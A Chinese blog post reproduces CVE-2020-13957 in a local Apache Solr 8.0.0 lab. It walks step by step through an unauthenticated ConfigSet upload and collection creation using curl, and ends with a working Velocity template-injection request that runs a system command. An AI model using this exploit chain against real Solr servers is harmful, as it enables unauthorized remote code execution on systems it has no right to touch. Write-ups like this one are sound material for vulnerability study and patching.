【漏洞复现】CVE-2020-13957|Apache Solr ConfigSet API未授权上传漏洞

写在前面

复现时发现不需要通过baseConfigSet基于恶意配置创建新的配置即可完成复现,并不是很多文章说需要二次创建恶意配置,有师傅也表达了自己的疑问,后面再单独写分析的文章,这篇在草稿箱躺太久了。

准备环境

下载

CVE-2020-13957影响范围: Apache Solr 6.6.0 to 6.6.5、7.0.0 to 7.7.3、8.0.0 to 8.6.2
官方下载地址:Apache-Solr,本次漏洞复现下载影响范围内的8.0.0,解压既用。

启动

该漏洞需要以cloud模式运行Solr,同时Solr-API不能开启认证
./solr start -e cloud #cloud模式启动
./solr stop -all #需要重启时可用该命令停止全部solr进程

利用思路

利用UPLOAD上传恶意配置->用恶意配置创建新的collection->执行RCE,由于ConfigSet API存在未授权上传漏洞,可以利用该漏洞实现远程代码执行。

准备攻击配置文件并打包

进入/solr-8.0.0/server/solr/configsets/sample_techproducts_configs/conf/目录下修改solrconfig.xml如下内容:

原配置内容:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
</queryResponseWriter>
修改后:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
<str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>
<str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str>
</queryResponseWriter>

修改完成后在当前目录下打包即可:zip -r -* > myconfig.zip

漏洞复现

1.上传恶意配置,通过UPLOAD上传刚刚打包好的myconfig.zip,并命名为myconfignew。
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfig.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=myconfignew"
2.创建collection,利用刚刚上传并命名的myconfignew来CREATE一个新的collection:mytestcollection。
curl -v "http://localhost:8983/solr/admin/collections?action=CREATE&name=mytestcollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myconfignew"
3.利用

GET /solr/mytestcollection/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end  HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 0

参考

[1]https://github.com/Imanfeng/Apache-Solr-RCE
[2]https://www.safedog.cn/news.html?id=4515

posted @ 2020-10-28 20:25  303donatello  阅读(563)  评论(0编辑  收藏  举报